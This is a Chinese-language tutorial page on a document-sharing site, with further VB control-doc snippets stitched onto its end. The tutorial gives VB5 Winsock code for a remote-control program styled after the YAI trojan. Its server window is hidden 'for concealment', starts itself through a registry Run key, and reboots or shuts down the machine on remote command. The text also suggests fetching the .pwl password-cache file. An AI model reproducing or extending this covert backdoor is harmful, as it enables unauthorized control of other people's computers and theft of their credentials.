文档库 最新最全的文档下载
当前位置:文档库 › VB中Winsock控件的使用[完全免费]

VB中Winsock控件的使用[完全免费]

VB中Winsock控件的使用[完全免费]
VB中Winsock控件的使用[完全免费]

VB中Winsock控件的使用

--------------------------------------------------------------------------------

前一段时间,一个名叫YAI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回YAI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。

远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock 控件的相关属性,方法和事件。(略去一些暂用不到的)

*属性

-------------------------------------------------------------------------

LocalHostName | 本地机器名

LocalIP | 本地机器IP地址

LocalPort | 本地机器通信程序的端口(0<端口<65536)

RemoteHost | 远程机器名

RemotePort | 远程机器的通信程序端口

state | 连接的当前状态(文后有详细说明)

Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)

--------------------------------------------------------------------------

*方法

--------------------------------------------------------------------------

Listen

Listen方法用于服务器程序,等待客户访问。

格式:Winsock对象.listen

Connect

Connect方法用于向远程主机发出连接请求

格式:Winsock对象.connect [远程主机IP,远程端口]

Accept

Accept方法用于接受一个连接请求

格式:Winsock对象.accept Request ID

Senddata

此方法用于发送数据

格式:Winsock对象.senddata 数据

Getdata

用来取得接收到的数据

格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]

Close

关闭当前连接

格式:Winsock对象.close

*事件

----------------------------------------------------------------------------

Close | 远程机器关闭连接时触发

Connect | 连接建立好,可以进行通信时触发(客户端)

ConnectRequest | 有请求连接到达时产生(服务器端)

DataArrival | 有数据到达时触发

Error | 发生错误时发生

SendProgress | 数据传送进度

-----------------------------------------------------------------------------

程序代码如下:

--》服务器端程序(server.exe)

先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.

Private Sub Form_Load()

On Error GoTo skip 注释:如此端口已有通信程序则退出

Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值Winsock1.Listen

Exit Sub

skip:

If Err.Number = 10048 Then

MsgBox "端口冲突,退出!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub Winsock1_Close()

If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Listen 注释:关闭连接后继续监听

End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)

If Winsock1.State <> sckClosed Then Winsock1.Close

Winsock1.Accept requestID 注释:请求到达时,接受连接

End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)

Dim strget As String

Dim ccom As String

Winsock1.GetData strget 注释:读取到达的数据

Select Case strget

Case "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断

Case "b" 注释:如为‘b’则关闭计算机

ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"

Call Shell(ccom, vbHide) 注释:函数shell来执行命令

Case Else 注释:可以在此加入其他命令

End Select

End Sub

Function curr_win() As String

Dim i As Integer

Dim enstr As String

i = 1 注释:此函数通过读取环境变量来获得Windows目录

enstr = Environ(i)

Do While enstr <> ""

If Len(enstr) > 11 Then

If Left(enstr, 11) = "winbootdir=" Then

curr_win = Right(enstr, Len(enstr) - 11)

Exit Do

End If

End If

i = i + 1

enstr = Environ(i)

Loop

End Function

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal

Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意!" 注释:如程序出现错误,则简单的退出

End

End Sub

--》客户端程序(Client.exe)

程序界面如图[control.jpg]

防入四个命令按钮,一个标题框,一个Winsock控件,其属性设置如下:

------------------------------------------------------------------------- -

控件名 | 控件类 | 属性 | 属性值

----------------------------------------------------------------------------

closewin_but | commandbutton | caption | 远程关闭

startwin_but | commandbutton | caption | 远程重启

connect_but | commandbutton | caption | 连接

exit_but | commandbutton | caption | 退出

state_lab | label | borderstyle | 1

-----------------------------------------------------------------------------

代码如下:

Private Sub Form_Load()

Winsock1.LocalPort = 22226 注释:本地端口可任选,只要不冲突且小于65535,用注释:netstat -an命令可查看当前通信进程

Winsock1.RemoteHost = "127.0.0.1" 注释:调试时此IP将对本机操作,实际应用时可注释:换上被控方IP

Winsock1.RemotePort = 1334 注释:对应服务器端的localport

state_lab = "未建立连接."

End Sub

Private Sub closewin_but_Click()

If Winsock1.State <> sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "b" 注释:发出关闭命令

End If

End Sub

Private Sub startwin_but_Click()

If Winsock1.State <> sckConnected Then

state_lab = "请先建立连接"

Else

Winsock1.SendData "a" 注释:发出重启命令

End If

End Sub

Private Sub connect_but_Click()

On Error GoTo skip

If Winsock1.State = sckConnected Then

state_lab = "已建立连接了"

Else

Winsock1.Connect

End If

Exit Sub

skip: 注释:用netstat命令看到状态为Time_wait则

If Err.Number = 10048 Then 注释:须等待一段时间才可连接,也可换另一

注释:端口,可加快连接速度

MsgBox "端口正在使用,请稍后再试!", vbOKOnly, "注意!"

End

End If

End Sub

Private Sub exit_but_Click()

Winsock1.Close 注释:关闭连接且退出

End

End Sub

Private Sub Winsock1_Connect()

state_lab = "建立连接成功!可发送命令."

End Sub

Private Sub Winsock1_Error(ByVal Number As Integer, Description As String,

ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String,

ByVal HelpContext As Long, CancelDisplay As Boolean)

MsgBox "错误", vbOKOnly, "注意!"

End

End Sub

通过上面的例子,我们大概了解了远程控制的原理,对于其他功能的实现应该不难了。如文件的下载,可先让客户程序发一命令字串注释:cc:\windows\lzh.pwl注释:,服务器接收到命令字串后判断出首字母c为下载命令,则将所指定的命令文件注释:c:\windows\lzh.pwl 注释:传送给客户端,完成相应的服务。需要注意的是,此程序只能建立一个连接,如要建立多个连接可通过在服务器端产生多个Winsock实例来接受请求.

*****测试环境:

Window98,MicroSoft Visual Basic 5.0企业版

附:属性state值

常数值描述

sckClosed 0 关闭状态

sckOpen 1 打开状态sckListening 2 侦听状态sckConnectionPending 3 连接挂起sckResolvingHost 4 解析域名sckHostResolved 5 已识别主机sckConnecting 6 正在连接sckConnected 7 已连接sckClosing 8 同级人员正在关闭连接sckError 9 错误

VB控件属性大全

1.01、窗体(FORM)的常用属性 属性说明 (Name)窗体的名称 ActiveControl返回焦点所在的控件,该属性设计阶段不可用,运行时只读。 Appearance 外观效果,取值为: 0 平面 1 3D(立体) AutoRedraw 是否自动刷新或重画窗体上所有图形[获得或设置从绘图(graphics)方法到一个持久性位图的输出],取值为: True False BackColor背景颜色,可从弹出的调色板选择。 BorderStyle 设置边界类型,取值为: 0 None(无边界框架) 1 FixedSingle(窗口大小固定不变的单线框架) 2 Sizable(窗口大小可变的标准双线框架) 3 FixedDialog(窗口大小固定的对话框窗体) 4 FixedToolWindow(窗口大小固定的工具箱窗体) 5 Sizable ToolWindow(窗口大小可变的工具箱窗体) Caption窗体的标题 ClipControls 决定Paint事件的graphics方法是重画整个对象,还是重画新显示的区域。取值为: True或False ControlBox 是或有控制框, 取值为:True 有 False 无 DrawMode 设定窗体上绘图(graphics方法),Shape,Line等控件的输出外观,有16种可选: 1 黑色 2 非或笔,设置值15的反相 3 与非笔,背景色以及画笔反相二者共有颜色的组合 4 非复制笔,设置值13的反相 5 与笔非,画笔以及显示色反相二者共有颜色的组合 6 反相,显示颜色反相 7 异或笔,画笔颜色以及显示颜色的异或 8 非与笔,设置值9的反相 9 与笔,画笔以及显示色二者共有颜色的组合

VB常用控件的方法详解

VB常用控件的方法详解.txt3努力奋斗,天空依旧美丽,梦想仍然纯真,放飞自我,勇敢地飞翔于梦想的天空,相信自己一定做得更好。4苦忆旧伤泪自落,欣望梦愿笑开颜。5懦弱的人害怕孤独,理智的人懂得享受孤独VB常用控件的方法详解 BASIC是属于高级程序语言的一种,英文名称的全名是"Beginner's All-Purpose Symbolic Instruction Code",取其首字字母简称"BASIC",就名称的含意来看,是「适用于初学者的多功能符号指令码」,是一种在计算机发展史上应用最为广泛的程序语言。 微软公司也在MS-DOS时代即推出Quick BASIC,在Windows开始流行的时候,微软公司推出Visual Basic for Windows成为Windows作业环境一枝独秀的易学易用程序语言。 Visual Basic是开发Microsoft Windows 应用程序的最快方法。不论是对Microsoft Windows 应用程序的专业开发者还是初学者来说,Visual Basic 都是一套不可多得的快速开发应用程序。它提供的控件可以轻松的"画"出应用程序的友好界面,使软件的开发工作不再枯燥无味。 在VisualBasic语言中,控件是用户界面的基本要素,是进行可视化程序设计的重要基础,它不仅关系到界面是否友好,还直接关系到程序的运行速度以及整个程序的好坏。每个控件都具有它的属性、方法和事件,要开发一个好的程序,不仅需要掌握控件的属性和事件,也要掌握它的方法。控件具有很多相同的方法,各个控件也有其特有的一些方法。 VisualBasic中的控件分为两种,即标准控件(或内部控件)和ActiveX控件。内部控件是工具箱中的"常驻"控件,始终出现在工具箱里,而ActiveX控件是扩展名为.ocx的文件(在Windows\System文件夹里),它是根据变成需要添加到工具箱里的。 在一般情况下,工具箱里只有标准控件,为了把ActiveX控件添加到工具箱里,可按以下步骤执行: (1)在菜单里选择"工程-部件",弹出"部件"对话框; (2)在对话框中选择"控件"选项卡,显示ActiveX控件列表; (3)在列表框中找到需要添加的控件名称,单击控件名称左侧的复选框; (4)使用同样的方法选择需要添加的其它控件; (5)单击"确定"按钮,即可将所选ActiveX控件添加到工具箱里。 第一章、标准控件的方法 1.01 窗体(Form)方法 1.02 文本框控件(Text)的方法 1.03 标签控件(Label)的方法 1.04 框架控件(Frame)的方法 1.05 命令按钮控件(Command)的方法 1.06 复选钮控件(Check)的方法 1.07 单选钮控件(Option)的方法 1.08 组合框控件(Combo)的方法 1.09 列表框控件(List)的方法 1.10 滚动条控件(HScrollBar和VScrollBar)的方法 1.11 文件系统(File System)控件的方法 1.12 形状控件(Shape)的方法 1.13 直线控件(Ling)的方法 1.14 图片框控件(Picture)的方法 1.15 图象控件(Image)的方法 1.16 数据控件(Data)的方法

VB常用控件属性,事件

vb内部控件使用方法总结 内部控件 控件在VB程序设计中扮演重要的角色,它是VB程序的基本组成部分。合理恰当地使用各种不同的控件,以及熟练掌握各个控件的属性设置,是进行VB程序设计的基础。另外控件应用的好坏直接影响应用程序界面的美观性和操作的方便性。本章详细介绍VB的内部控件的使用方法。 4.1 标签 标签是VB中最简单的控件,用于显示字符串,通常显示的是文字说明信息。但不能编辑标签控件。 使用标签的情况很多,通常用标签来标注本身不具有Caption属性的控件。例如,可用标签为文本框、列表框、组合框等控件来添加描述性的标签。还可编写代码改变标签控件的显示文本以响应运行时的事件。例如,若应用程序需要用几分钟处理某个操作,则可用标签显示处理情况的信息。 4.1.1 常用属性 标签的属性很多,下面介绍几个常用的属性。 (1)Alignment属性 设置标签中文本的对齐方式。其使用语法如下: Object.Alignment[=值] 其中的“值”可以为0,1或2。0(默认值)表示左对齐;1表示右对齐;2表示居中。(2)AutoSize属性 设置控件是否能够自动调整大小以显示所有的内容。其使用语法如下:Object.AutoSize[=True或False] (3)BackStyle属性 设置标签的背景样式。其使用语法如下: Object.BackStyle[=值] 其中的“值”可以为0或1。1(默认值)表示是不透明的;0表示是透明的。 (4)BorderStyle属性 设置标签的边框样式。其使用语法如下: Object.BorderStyle[=值] 其中的“值”可以为0或1。0(默认值)表示无边框;1表示单线边框。 (5)Caption属性 设置标签的文本内容。其使用语法如下: Object.Caption[=字符串] (6)WordWrap属性 设置标签的文本在显示时是否自动折行功能。其使用语法如下: Object.WordWrap[=True或False] 其中True表示具有自动折行功能;False(默认值)表示没有自动折行功能。 4.1.2 常用事件和方法 一般很少使用标签事件,标签的方法中常用的只有Move,其基本语法如下:Move left,top,width,height 其中left,top,width,height分别表示移动目的位置的坐标和大小。left为必要参数,其他三个为可选参数。

Winsock控件基础(VB6.0)

Winsock控件基础(VB6.0) 1.Winsock控件基础 Winsock控件在程序设计时,看不到这个控件显现在执行的窗体之中,但是它可以提供有关网络通讯方面的程序设计依据。此外,在这个控件的使用上,您可以非常容易地要求控件为您调用TCP或是UDP网络服务的功能。因此,当您在编写有关住从式架构的应用程序时,您可以不需要了解TCP 通讯协议或是低级的Winsock api调用方式。 通常,以笔者的经验,除了必须与标准通讯协议进行互动外,仅仅是进行一般性相互通讯、交换数据时,Winsock控件可以满足您的要求。因此您可以非常容易地通过属性的设置以及控制方法的调用,与远程的设备进行连接并且相互交换信息。关于这些应用方面以及调用方式,笔者将在接下的探索中,慢慢地研究Winsock的应用方式。 1-1TCP基础 不论是在Internet或是Internet网络之中,以目前流行的趋势,多半都会使用TCP协议来进行远程设备的连接。TCP 协议的全名为“传输控制协议(transfer control protocol)”,这是一种在Internet上使用的主要协议,例如http,ftp,smtp 等,都是属于这个中面向连接的协议。因此,当您使用TCP 协议连接两个网络上的设备时,将可以在它们之间交换希望

交换的数据。 同时,如果您开发的应用程序属于主从式应用架构(或是 n-tear(多层次))应用系统时,将必须要知道应用系统主机的ip地址(利用RemoteHost属于取得)以及连接端口号(利用remoteport属于取得)。在这些数据完全备齐之后,您才可以进行进一步的调用、连接。 因此,如果正在建立主机端应用程序时,必须指定本机,必须指定本机(执行应用程序所在的计算机)所用的连接端口号(localport属于),接着将Winsock控件设置为“监听(listen)”,即可等候远程客户端进行调用与连接。因此,当主机端接收到客户端调用并且要求连接的信息时,将会触发“要求连接()”的事件,接着进行标准“允许”或是“拒绝”的程序。 一旦主机端与客户端连接完成之后,您将可以开始使用“传送数据(senddata)”方法,将数据传送给对方,并且利用“传送完成(sendcomplete)”事件,来检测数据是否传送完毕。同时,在数据传达对方的计算机时,将会触发对方计算的“接收数据(dataarrival)”事件。此时,您可以使用“取得数据(getdata)”方法,来去出这些接收到的数据。 上述的程序将周而复始地发生,直到发生“中断连接(closed)”事件或是不正常断线为止。这种连接与数据传输的方式,则是属于Winsock控件TCP协议的运行特色。图1-1所示为

Winsock控件使用手册

Winsock控件使用手册 TCP基本知识 TCP(Transfer Control Protocol)允许你创建并维护一个与远程计算机的连接,使用该连接,两台计算机之间就可以交换数据了。 如果你在创建一个客户应用程序,你必须知道服务器计算机的名字 用RemoteHost属性,监听的端口号RemotePort属性,调用Connect方法。 创建服务器应用程序,设置要监听的端口号,调用Listen方法。 当客户建立连接请求时,产生ConnectionRequest事件。要完成该连接,在ConnectionRequest 事件中调用Accept方法。 一旦建立了连接,两台计算机之间就可以发送和接受数据了。 发送数据,调用SendData方法。 接受数据,产生DataArrival事件。在DataArrival事件中调用GetData方法来检取数据。 UDP基本知识 UDP(User Datagram Protocol)是无连接的协议。 与TCP操作不同,计算机并不建立一个连接。并且,UDP应用程序可以是客户也可以是服务器。 传输数据,设置客户计算机的LocalPort属性,指发送方只需要将RemoteHost属性设置为客户计算机及指接收方的IP地址,将RemotePort属性设置为客户计算机上的LocalPort,调用SendData发送数据。客户计算机在DataArrival中使用GetData检取数据。 Winsock控件的属性 BytesReceived属性, LocalHostName属性, LocalIP属性, LocalPort属性, RemoteHost属性(ActiveX控件), SocketHandle属性, State属性(Winsock控件), Protocol属性(Winsock控件), Name属性, Parent属性, RemoteHost属性(ActiveX控件), RemotePort属性(ActiveX控件), Index属性(ActiveX控件), Tag属性(ActiveX控件), Object属性(ActiveX控件)。 Winsock控件的方法 Accept方法, Bind方法, Close方法(Winsock控件), Listen方法,PeerData方法,

VB WEBBROWSER控件详解

vb+Webbrowser控件详解 2007-12-2218:22 1、获得浏览器信息: Private Sub Command1_Click() WebBrowser1.Navigate"https://www.wendangku.net/doc/6614939016.html," End Sub Private Sub Command2_Click() Dim oWindow Dim oNav Set oWindow=WebBrowser1.Document.parentWindow Set oNav=oWindow.navigator Debug.Print https://www.wendangku.net/doc/6614939016.html,erAgent Set oWindow=Nothing Set oNav=Nothing End Sub 点击Command1浏览网页,点击Command2在立即窗口中输出浏览器信息。 2、弹出Webbrowser消息窗口 Dim oWindow Set oWindow=WebBrowser1.Document.parentWindow oWindow.confirm"abcd" VB调用webbrowser技巧集2 向Webbrowser中写入HTML内容的几种方法 首先在Form_Load中加入 WebBrowser1.Navigate"about:blank" 确保Webbrowser1可用 方法1: Dim s As String Dim stream As IStream s="" s=s+"" s=s+"" s=s+"

hello world " s=s+"" s=s+" WebBrowser1.Document.Write s 方法2: Dim o Set o=WebBrowser1.Document.selection.createrange Debug.Print o If(Not o Is Nothing)Then o.pasteHTML"哈哈" Set o=Nothing End If 方法3: '插入文本框 Dim o Set o=WebBrowser1.Document.selection.createrange o.execCommand"InsertTextArea",False,"xxx" vb调用Webbrowser技巧集3 1、页面滚动: Private Sub Command2_Click() WebBrowser1.Document.parentwindow.scrollby0,30 End Sub Private Sub Form_Load() WebBrowser1.Navigate"https://www.wendangku.net/doc/6614939016.html," End Sub 点击Command2就可以使当前页面向下滚动30像素

基于VB6.0的winsock控件的远程数据传输的方法

【摘要】在Visual Basic 6.0 环境下,利用Winsock控件实现与远程数据采集端连接和数据传输。与传统数据传输方法进行比较,该方法简单且易于实现,并充分利用了网络资源。介绍了Winsock控件,结合示例程序,说明了该方法实现流程。最后通过实验,证实该方法进行远程数据传输的可靠性。 【关键词】数据传输;协议;VB6.0;Winsock控件 在远程数据采集和传输系统中,传统的方法有 2 种:一是采用RS-485进行远程控制;二是通过调制解调器进入电话线来实现远程控制,然而这2 种方法都有自己的缺点。这样一来就限制了它们的应用范围。 本文介绍了在VB6.0中利用Winsock控件来实现服务器端与远程客户端建立连接并进行数据传输的方法。 一、基于Winsock控件的远程数据传输 (一) Winsock控件简介 Microsoft提供的Winsock控件,是ActiveX控件的一种。在VB 中可以将其添加到工具箱中以便使用。在程序运行时,Winsock控件是不可见的,但通过对其属性、方法、事件的设置及应用可轻松地实现计算机间的远程连接,该控件为用户提供了访问TCP和UDP网络及其方便的途径,不需要了解低级Winsock API调用实现的细节。VB 的Winsock控件内部几乎封装了所有的Internet协议,以类的形式提

供了属性、方法、事件,使得程序得到了极大的简化。 Winsock控件的常用属性如表1。 (二)传输协议 在使用Winsock控件时,首先要考虑使用什么通信协议。可供选择的协议有传输控制协议(TCP)和用户数据报协议(UDP),都是位于传输层的协议、使用端口号来识别应用程序,区别在于连接的状态。TCP协议是一个基于连接的协议,在收发数据前必须建立连接,并且该连接可靠性强,使数据无差错地传输,适合有确认信息的、重要的、数据量大(如声音和图像)的文件。UDP协议是不与对方建立连接而是直接就把数据报发送过去。传输速度较快也较便宜,适用于少量数据传送、可靠性要求不高的文件传输。本文中均选用TCP协议。 (三)远程数据传输系统软件设计 1、远程传输系统软件流程 软件在Visual Basic环境下开发,利用Winsock控件完成客户端与服务器端的相互通讯。 创建客户端程序时,必须知道服务器端的IP地址(RemoteHost 属性)和服务器“侦听”的端口(RemotePort 属性)然后调用Connect 方法请求与服务器连接。 创建服务器端程序时,必须设置一个收听端口(LocalPort属性)并调用Listen方法侦听端口,本论文中使用的IP地址为202.205.84.222,使用的端口号为2020。当客户端请求连接时就会发生ConnectionRequest事件。为了完成连接,可调用ConnectionRequest

VB常用控件属性

VB常用控件属性 4.1 标签 标签是VB中最简单的控件,用于显示字符串,通常显示的是文字说明信息。但不能编辑标签控件。 使用标签的情况很多,通常用标签来标注本身不具有Caption属性的控件。例如,可用标签为文本框、列表框、组合框等控件来添加描述性的标签。还可编写代码改变标签控件的显示文本以响应运行时的事件。例如,若应用程序需要用几分钟处理某个操作,则可用标签显示处理情况的信息。 4.1.1 常用属性 标签的属性很多,下面介绍几个常用的属性。 (1)Alignment属性 设置标签中文本的对齐方式。其使用语法如下: Object.Alignment[=值] 其中的“值”可以为0,1或2。0(默认值)表示左对齐;1表示右对齐;2表示居中。 (2)AutoSize属性 设置控件是否能够自动调整大小以显示所有的内容。其使用语法如下: Object.AutoSize[=True或False] (3)BackStyle属性 设置标签的背景样式。其使用语法如下: Object.BackStyle[=值] 其中的“值”可以为0或1。1(默认值)表示是不透明的;0表示是透明的。 (4)BorderStyle属性 设置标签的边框样式。其使用语法如下: Object.BorderStyle[=值] 其中的“值”可以为0或1。0(默认值)表示无边框;1表示单线边框。 (5)Caption属性 设置标签的文本内容。其使用语法如下: Object.Caption[=字符串] (6)WordWrap属性 设置标签的文本在显示时是否自动折行功能。其使用语法如下: Object.WordWrap[=True或False] 其中True表示具有自动折行功能;False(默认值)表示没有自动折行功能。 4.1.2 常用事件和方法 一般很少使用标签事件,标签的方法中常用的只有Move,其基本语法如下: Move left,top,width,height 其中left,top,width,height分别表示移动目的位置的坐标和大小。left为必要参数,其他三个为可选参数。 4.1.3 应用例子 目的:设计一个窗体说明标签的基本应用方法。 首先创建本章工程,在其中添加一个窗体,在该窗体中放置一个标签Label1。该标签的基本属性如下: Name Label1 Caption "中华人民共和国" BorderStyle 1

VB中Winsock控件的使用

VB中Winsock控件的使用 -------------------------------------------------------------------------------- 前一段时间,一个名叫Y AI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回Y AI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。 远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。下面是Winsock 控件的相关属性,方法和事件。(略去一些暂用不到的) *属性 ------------------------------------------------------------------------- LocalHostName | 本地机器名 LocalIP | 本地机器IP地址 LocalPort | 本地机器通信程序的端口(0<端口<65536) RemoteHost | 远程机器名 RemotePort | 远程机器的通信程序端口 state | 连接的当前状态(文后有详细说明) Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’) -------------------------------------------------------------------------- *方法 -------------------------------------------------------------------------- Listen Listen方法用于服务器程序,等待客户访问。 格式:Winsock对象.listen Connect Connect方法用于向远程主机发出连接请求 格式:Winsock对象.connect [远程主机IP,远程端口] Accept Accept方法用于接受一个连接请求 格式:Winsock对象.accept Request ID Senddata 此方法用于发送数据

VB中使用WINSOCK控件编写网络程序

VB中使用WinSock控件编写网络程序 WinSock控件能够通过UDP协议(用户数据报协议)或TCP协议(数据传输协议)连接到远程的机器并进行数据交换。这两种协议都能用来创建客户端和服务端应用程序。就像定时器控件一样,WinSock控件运行时没有一个可视的界面。 可能的用途 创建客户端应用程序,它能在信息到达中央服务器之前把用户的信息收集起来。 创建服务端应用程序,它能作为来自多个用户的数据一个集中处理点。 创建“聊天”程序。 协议的选择 当我们使用WinSock控件时,首先要确定的是使用TCP还是UDP协议。它们之间主要的区别在于连接状态: TCP协议控件是一个基于连接的协议,就像电话机一样,用户必须在通话之前建立连接; UDP是一个无连接的协议,两台计算机之间的事务处理就像传纸条一样:一台计算机向另一台计算机发送消息,但是它们之间并没有一个明确的连接路径。另外,发送的单个信息量的大小取决于网络。 通常,你要创建的应用程序的类别就决定了你要选择的协议。以下是几个能够帮助你选择合适的协议的问题: 当发送或接收数据时,该应用程序需要从服务端或客户端获得认证吗?如果要的话,那么TCP协议就正好需要在发送或接受数据前建立明确的连接。 要发送的数据量大吗?(就像图片、声音文件之类)一旦建立了连接,TCP协议就会保持连接并保证数据的完整性。但是,这种连接会占用的更多的处理器资源,成本也会更高一些。 数据是陆续传输的,还是一次全部传完呢?比如,如果你要创建的应用程序在某些任务完成时会告知具体的计算机,那么选择UDP协议会更合适一些。UDP协议也更适合于发送小量数据。 协议的配置 配置你的应用程序所用到的协议:在设计阶段,单击工具窗口里的协议,选择sckTCPProtocol或sckUDPProtocol。你也可以在代码里配置协议,就像下面这样: Winsock1.Protocol=sckTCPProtocol 确定你的计算机名

VB常用控件

Label控件 Label 控件主要用于在窗体中显示提示信息,常与Text控件一起使用。 属性: Caption 表示标签的内容。 例:Label1.Caption="N&ame:" 控件在窗体中显示Name:,&号跟的字母是快捷键字母,即当我们按下Alt+A时,Label1的Click事件将会发生。 这种快捷键定义方法对于菜单和许多其它控件同样适用。 Font 表示控件的字体。 ForeColor 表示控件的当前颜色。 Enabled 表示控件是否使能。 =True 使能。 =False 禁止(控件显示为灰色)。 Visible 表示控件是否可见 =True 可见。 =False 不可见。 Top,Left,Width,Height 表示控件在窗体中的位置和尺寸。 事件: Click 当点击或按下快捷键时发生,常用于使和它一起使用的Text控件获得输入焦点。 例: Private Sub Label1_Click() Text1.SetFocus End Sub Text控件 Text控件接受用户的输入的字符串数据。 属性: Text 表示用户输入的内容。

例:Label1.Caption=Text1.Text 将Text1控件接收用户输入的数据通过Label1控件显示出来。 SelStart 表示用户选中一段文字的起始位置。第一个字符位置为0。SelLength 表示用户选中文字的长度。 SelText 表示用户选中文字的内容。 例:0123456789 这时:SelStart=5,SelLength=4,SelText="5678" MultiLine 表示是否是多行输入。 =True 是多行输入。 =False 不是多行输入(缺省) 。 ScrollBars 多行情况下是否需要滚动条。 =0 没有。 =1 有水平。 =2 有垂直。 =3 水平、垂直都有。 Password 表示口令字符。Text属性返回用户输入数据,屏幕上显示该字符。方法: SetFocus 使当前控件获得输入交点。 事件: KeyPress 当在控件上按下按键时发生。 Private Sub Text1_KeyPress(KeyAscii As Integer) End Sub KeyAscii 表示用户按键的ASCII码,如果在事件中将它改为0,则认为没有按键。 例:编写只允许输入数字的Text控件。 Private Sub Text1_KeyPress(KeyAscii As Integer) If KeyAsciiAsc("9") Then KeyAscii=0 End If

VB6.0基本控件的属性

VB基本控件的属性,方法经及事件 VB基本控件的属性,方法经及事件 VB基本控件的属性,方法经及事件 所有控件都具有的属性: 1、Name: 表示在代码中用来标识一个控件的名字。 2、Enabled: 表示一个控件是否可以响应一个事件,即该控件可不可用。 值为true: 可以响应;值为false: 不可以看见。 3、Visible: 表示一个控件是否可见。值为true:可以看见;值为false: 不可以看见。所有控件都有具有的事件: 1、KeyDown : 当用户按下键盘上一个键时发生的。 2、KeyUp : 在用户松开键盘上按下的键时发生的。 3、KeyPress : 在Key Down和Key Up事件之间发生。 4、MouseDown : 在鼠标被按下时触发的。 5、MouseUp :在用户松开鼠标键时发生的。 6、Click :在用户单击鼠标左键时发生的。 7、DblClick :在用户双击鼠标时发生的。 一、窗体(Form) 属性: 1、Caption: 表示窗体标题栏的文字。 2、BorderStyle: 一般情况下为默认值,若更改为下列值: 1)值为0:没有窗体标题栏 2)值为1:窗体运行之后不能改变大小 3、WindowState: 设置窗体的大小。 3)值为0:窗体正常大小 4)值为1:窗体最小化 值为2:窗体最大化 4、BackColor: 表示窗体的背景颜色 事件: 1、Initialize(初始化事件): 在窗体加载和显示之前触发,这个事件只触一次。 2、Load(加载事件): 用来完成窗体显示之前需要完成的动作。 3、Activate/Deactivate (激活/非激活事件):是用户在同一个应用程序的两个或多个窗体之间移动时触发的。 4、QueryUnload(条件卸载事件): 决定窗体是如何关闭的。 触发QueryUnload事件时Unload 的参数和因素有: 1)VbFormControlMenu值为0 :选中窗体控件菜单中的Close命令。 2)VbFormCode值为1 :从代码中调用Unload 语句。 3)VbAppWindows值为2 :终止当前的Windows操作系统。 4)VbFormMDIForm值为4 :因为终止MDI父窗体而导致MDI子窗体的终止。 5、Terminate(终止事件):在窗体的所有实例从内存中清除时发生,只触发一次。方法: 1、Load:加载窗体,但不在屏幕上显示 2、Unload:卸载窗体,既从屏幕上也从内存中清除窗体。 3、Show:加载窗体并在屏幕上显示窗体。Show分为:

VB控件文本框属性详解

自学教材(常用控件的属性)一一1.03、文本框(TextBox )控件的常 作者:杜 VisualBasic 用属性

